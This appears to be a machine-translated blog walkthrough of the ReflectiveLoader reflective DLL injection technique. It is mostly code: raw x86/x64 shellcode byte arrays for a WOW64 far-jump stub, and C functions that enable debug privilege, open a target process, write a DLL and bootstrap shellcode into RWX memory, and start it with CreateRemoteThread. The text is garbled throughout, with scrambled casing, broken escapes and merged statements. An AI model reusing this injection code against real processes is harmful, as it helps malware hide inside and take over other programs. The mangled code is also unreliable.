Downloaded from GitHub Reflectiverloader seriously learned a bit in the code to get some ideas and their thoughts, all follow the steps written in the code, and now share to everyone, such as wrong, hope everyone correct
Which need to inject the DLL and parse, the memory RVA and the file RVA conversion code (compiled with C + +) and parsing, shellcode assembly attached to the link
It's a shellocode.
function: After debugging, he is to solve the problem of running x64 under x86 (WinDbg can see that it is done by jumping far to x64)
Static BYTE __executexx64[] = "\x55\x89\xe5\x56\x57\x8b\x75\x08\x8b\x4d\x0c\xe8\x00\x00\x00\x00" "\x58\x83\xC0\x25\ X83\xec\x08\x89\xe2\xc7\x42\x04\x33\x00\x00\x00 "" \x89\x02\xe8\x09\x00\x00\x00\x83\xc4\x14\x5f\x5e\x5d\xc2\x08\ X00 "" \x8b\x3c\x24\xff\x2a\x48\x31\xc0\x57\xff\xd6\x5f\x50\xc7\x44\x24 "" \x04\x23\x00\x00\x00\x89\x3c\x24\xff\ x2c\x24 "; static BYTE __functionx64[] =" \xfc\x48\x89\xce\x48\x89\xe7\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00 "" \x41\x51 \x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48 "" \x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f \xb7\x4a\x4a "" \x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9 "" \x0D\x41\x01\xC1\xE2\xED\x52\ x41\x51\x48\x8b\x52\x20\x8b\x42\x3c "" \x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00 "" \x00\ x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40 "" \x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\ X88\x48\x01\xd6 "" \x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0 "" \x75\xF1\x4C\x03\x4C\x24\ X08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40 "" \x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0 "" \x41\x8B\x04 \x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58 "" \x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41 \x59\x5a "" \x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x4d\x31\xc9\x41\x51\x48\x8d "" \x46\x18\x50\xff\x76\x10\xff\x76\ x08\x41\x51\x41\x51\x49\xb8\x01 "" \x00\x00\x00\x00\x00\x00\x00\x48\x31\xd2\x48\x8b\x0e\x41\xba\xc8 "" \x38\xA4\ X40\xff\xd5\x48\x85\xc0\x74\x0c\x48\xb8\x00\x00\x00\x00 "" \x00\x00\x00\x00\xeb\x0a\x48\xb8\x01\x00\x00\x00\x00\ X00\x00\x00 "" \x48\x83\xc4\x50\x48\x89\xfc\xc3 ";
Two. Structure macro definition and hash value (using Makehanvalue to calculate the line, there is a small comment in the code)
#define MYFUNCTION_HASH0X6654BBA6//hash of "MYFUNCTION" enum {unknown,x86,x64}; #define Dereference (Value) * (UINT _PTR *) (value) #define DEREFERENCE_64 (value) * (DWORD64 *) (value) #define DEREFERENCE_32 (value) * (DWORD *) (value) #define Dereference_16 (value) * (WORD *) (value) #define DEREFERENCE_8 (value) * (BYTE *) (value) typedef BOOL (WINAPI *lpfn_ iswow64process) (HANDLE, pbool); typedef BOOL (winapi* lpfn_functionx64) (DWORD parameterdata); typedef DWORD (winapi* lpfn_executex64) (lpfn_functionx64 FunctionX64, DWORD parameterdata); typedef struct _WOW64CONTEXT_{UNION{HANDLE ProcessHandle; BYTE padding[8];} U1;union{lpvoid threadprocedure; BYTE padding[8];} U2;union{lpvoid Parameterdata; BYTE padding[8];} U3;union{handle Threadhandle; BYTE padding[8];} U4;} Wow64context, *lpwow64context;
Three Parsing of the main function
Int main () {handle filehandle = NULL; ulong filelength = 0; Lpvoid filedata = NULL; ulong returnlength = 0; Handle processhandle = NULL; Handle remotethreadhandle = Null;dword exitcode = 0;if (Enablesedebugprivilege (L " SeDebugPrivilege ", TRUE) = = FALSE) {return 0;} Dword processid = 0;printf ("Input processid:\r\n"); scanf ("%d", &processid); #ifdef_WIN64char * Dllfullpath = " ReflectiveLoader.dll "; #elsechar * Dllfullpath =" ReflectiveLoader.dll "; #endif//1. open File FileHandle = Createfilea ( Dllfullpath, generic_read, 0, NULL, open_existing, file_attribute_normal, null);if (FileHandle = INVALID_HANDLE_ VALUE) {printf ("Createfilea () error\r\n"); goto exit;} 2. Get Size Filelength = GetFileSize (FileHandle, NULL);if (filelength = = invalid_file_size | | Filelength = = 0) {printf ("GetFileSize () error\r\n"); goto exit;} 3. Apply heap Memory Filedata = HeapAlloc (GetProcessHeap (), 0, filelength);if (! FileData) {printf ("HeapAlloc () ErroR\r\n "); goto exit;} 4. Read Memory if (ReadFile (FileHandle, FileData, Filelength, &returnlength, NULL) = = FALSE) {printf ("HeapAlloc () Error\r\n "); goto exit;} The following is the operation of the target//5. Open target Process ProcessHandle = OpenProcess (process_create_thread | process_query_information | process_vm_operation | process_vm_write | Process_vm_read,false, ProcessID);if (! ProcessHandle) {printf ("openprocess () error\r\n"); goto exit;} 6. Load Dynamic Library Remotethreadhandle = Loadremotelibrary (ProcessHandle, FileData, Filelength, Null,myfunction_hash, (LPVOID) " 911 ", strlen (" 911 ") +1);if (! Remotethreadhandle) {printf ("loadremotelibrary () error\r\n"); goto exit;} printf ("Loadremotelibrary () success\r\n")//7. Remote thread waiting for injection WaitForSingleObject (Remotethreadhandle, INFINITE);if (! GetExitCodeThread (Remotethreadhandle, &exitcode)) printf ("Input AnyKey to exit\r\n"); GetChar ();//8. Free Memory Exit:if (FileData) {HeapFree (GetProcessHeap (), 0, FileData);} if (filehandle!=null) {clOsehandle (FileHandle); FileHandle = null; }if (processhandle) {CloseHandle (processhandle); ProcessHandle = NULL;} return 0;}
Four. Interpretation of Loadremotelibrary (three ways to get the target architecture I took notes)
Handlewinapi loadremotelibrary (handleprocesshandle,lpvoidfiledata, //dll file Data dwordfilelength, lpvoidparameterdata,dwordfunctionhash,//function Hash value lpvoiduserdata,dworduserdatalength) {handle Remotethreadhandle = Null;dword remotethreadid = 0;dword targetarchitecture = X86; Target architecture dword dllarchitecture = UNKNOWN; #ifdefined (_win64) dword currentarchitecture = X64; #elifdefined (_ WIN32) DWORD currentarchitecture=x86#else#endif__try{do{if (! processhandle | | ! filedata | | ! Filelength) {break;} First act//1. The architecture process that obtains the target process obtains the architecture through the kernel hmodule kernelmodulebase = LoadLibraryA ("kernel32.dll");if (! Kernelmodulebase) break;__iswow64process = (lpfn_iswow64process) GetProcAddress (kernelmodulebase, "iswow64process") ; FreeLibrary (kernelmodulebase);if (__iswow64process) {bool isok;if (!__IsWow64Process ( ProcessHandle, &isok)); {break;} if (IsOK) {targetarchitecture = X86;} else{//the system to determine 32-bit and 64-bit system_info systeminfo = {0}; GeTnativesysteminfo (&systeminfo);if (systeminfo.wprocessorarchitecture = = processor_architecture_amd64) Targetarchitecture = x64;elseif (systeminfo.wprocessorarchitecture = = Processor_architecture_intel) Targetarchitecture = X86;elsebreak;}} 2. Obtain the ARCHITECTURE//MZ header +e_lfanew=nt Header pimage_nt_headers imagentheaders = (pimage_nt_headers) (( PUINT8) FileData) + ((pimage_dos_header) FileData)->e_lfanew);if (imagentheaders->optionalheader.magic = = image_nt_optional_hdr32_magic)//pe32dllarchitecture = x86;elseif (imagentheaders->optionalheader.magic = = image_nt_optional_hdr64_magic)//Pe64dllarchitecture = x64;//3. Determine if the DLL and the target process are the same schema?? if (dllarchitecture! = targetarchitecture) {printf ("must be same architecture\r\n"); Act II//1. Re-check the loading//check of the dynamic library if the library has a reflectiveloader ... Dword reflectiveloaderoffset = Getreflectiveloaderoffset (FileData);if (! Reflectiveloaderoffset) {printf ("Could not Get reflectiveloader offset\r\n"); BreAK;} Dword remotebufferlength = filelength+ userdatalength+ 64; Shellcode buffer//2.alloc Memory (RWX) in the host process for the image ... Lpvoid remotebufferdata = VirtualAllocEx (ProcessHandle, NULL, Remotebufferlength, mem_reserve | Mem_commit, Page_execute_readwrite);if (! Remotebufferdata) {break;} printf ("VirtualAllocEx () success\r\n");//3.1 write the image into the host process ... Writes an image to the main process. Remotebufferdata pointer to the base address in the specified process that writes the data if (! WriteProcessMemory (ProcessHandle, Remotebufferdata, FileData, Filelength, NULL)) break;//base address + offset ulong_ptr Reflectiveloader = (ulong_ptr) Remotebufferdata + reflectiveloaderoffset;//3.2 write our UserData blob into the host Proces Sulong_ptr remoteuserdata = (ulong_ptr) Remotebufferdata + filelength;if (! WriteProcessMemory (ProcessHandle, (LPVOID) Remoteuserdata, UserData, Userdatalength, NULL)) break;// 3.3 Write Shellcodeulong_ptr remoteshellcode = Remoteuserdata + userdatalength; BYTE&NBSP;BOOTSTRAP[64] = {0};D word Bootstraplength = Createbootstrap (Bootstrap,64,targetarchitecture, (ULONG_PTR) Parameterdata, (ULONG_PTR) Remotebufferdata,functionhash,remoteuserdata,userdatalength,reflectiveloader);if (BootstrapLength <= 0) { break;} printf ("%p\r\n", Remoteshellcode); GetChar ();if (! WriteProcessMemory (ProcessHandle, (LPVOID) Remoteshellcode, Bootstrap, Bootstraplength, NULL)) break;printf ("Wrote ShellCode success\r\n ");/* Write graph Remotebufferdata[filedata Base address here] to Filedataremoteuserdata[userdata's base address] Write Userdataremoteshellcode Write bootstrap*///Make sure our changes are written immediately flushinstructioncache (ProcessHandle, Remotebufferdata, Remotebufferlength);p rintf ("%p\r\n", Remoteshellcode); GetChar (); GetChar ();//third act to judge the position of the subject and the object and create the thread execution//target Current 32if (currentarchitecture = = x86 && Targetarchitecture = = X64) {Wow64createremotethread ( ProcessHandle, (LPVOID) Remoteshellcode, Parameterdata, &remotethreadhandle); ResumeThread (Remotethreadhandle);} else{//target Current 32//target current 64//target 64RemoteThreadHand currentLe = CreateRemoteThread (ProcessHandle, NULL, 1024x768 * 1024x768, (lpthread_start_routine) Remoteshellcode, Parameterdata, ( DWORD) NULL, &remotethreadid),/*lpstartaddress [in] pointer to an application-defined function of type Lpthread_start_routine executed by the thread, and represents the start address of the thread in the remote process. The feature must exist in the remote process. Lpparameter [in] pointer to the variable to pass to the thread function. */}} while (0);} __except (exception_execute_handler) {remotethreadhandle = NULL;} Return remotethreadhandle;}
Five. Wow64createremotethread interpretation
Dword wow64createremotethread (Handleprocesshandle, Lpvoidthreadprocedure, Lpvoidparameterdata, HANDLE * Threadhandle) {dword result = ERROR_SUCCESS; lpfn_executex64 executex64 = NULL; lpfn_functionx64 functionx64 = NULL; wow64context* wow64context = Null;osversioninfo osversioninfo = {0};d o{//First act Determine if the system is suitable osversioninfo.dwosversioninfosize = sizeof (OSVERSIONINFO);if (! GetVersionEx (&osversioninfo)) {printf ("GetVersionEx () error\r\n"); Filter out Windows 2003if (osversioninfo.dwmajorversion = = 5 && osversioninfo.dwminorversion = = 2) { printf ("is 2003 error\r\n"); Act II//1. executex64,functionx64 application for Shellcode size of memory soldier assignment/*shellcode after debugging is done by jumping to the 64-bit process in a way to be ashamed of the blind tune again have not mastered the debugging method a bit difficult ... */executex64 = (lpfn_executex64) VirtualAlloc (NULL, sizeof (__executexx64), mem_reserve | Mem_commit, Page_execute_readwrite);if (! ExecuteX64) {printf ("VirtualAlloc () error\r\n"); FunctionX64 = (lpfn_functionx64) VirtualAlloc (NULL,sizeof (__functionx64) + sizeof (wow64context), mem_reserve | Mem_commit, Page_execute_readwrite);if (! FunctionX64) {printf ("VirtualAlloc () error\r\n"); Copy over the wow64->x64 stubmemcpy (ExecuteX64, &__executexx64, sizeof (__executexx64));//copy over the native X functionmemcpy (FunctionX64, &__functionx64, sizeof (__functionx64)),//2. Setting the upper and lower context Wow64context = (wow64context *) ((byte *) FunctionX64 + sizeof (__functionx64)); Wow64context->u1. ProcessHandle = ProcessHandle; //the target process handle WOW64CONTEXT->U2. Threadprocedure = threadprocedure; Wow64context->u3. Parameterdata = Parameterdata; Wow64context->u4. Threadhandle = NULL;//3. The environment in which the code is executed is a 32-bit if (! ExecuteX64 (FunctionX64, (DWORD) wow64context)) {printf ("ExecuteX64 () error\r\n"); As an identity if (! Wow64context->u4. Threadhandle) {printf ("Threadhandle is null\r\n"); 4. Success! Fetches a new thread handle from the context *threadhandle = Wow64context->u4. ThreadhAndle;} while (0);//5. Exit if (ExecuteX64) {virtualfree (ExecuteX64, 0, mem_release); ExecuteX64 = NULL;} if (FunctionX64) {virtualfree (FunctionX64, 0, mem_release); FunctionX64 = NULL;} Return result;}
Reflectiveloader Analysis (remote thread injection PE correction)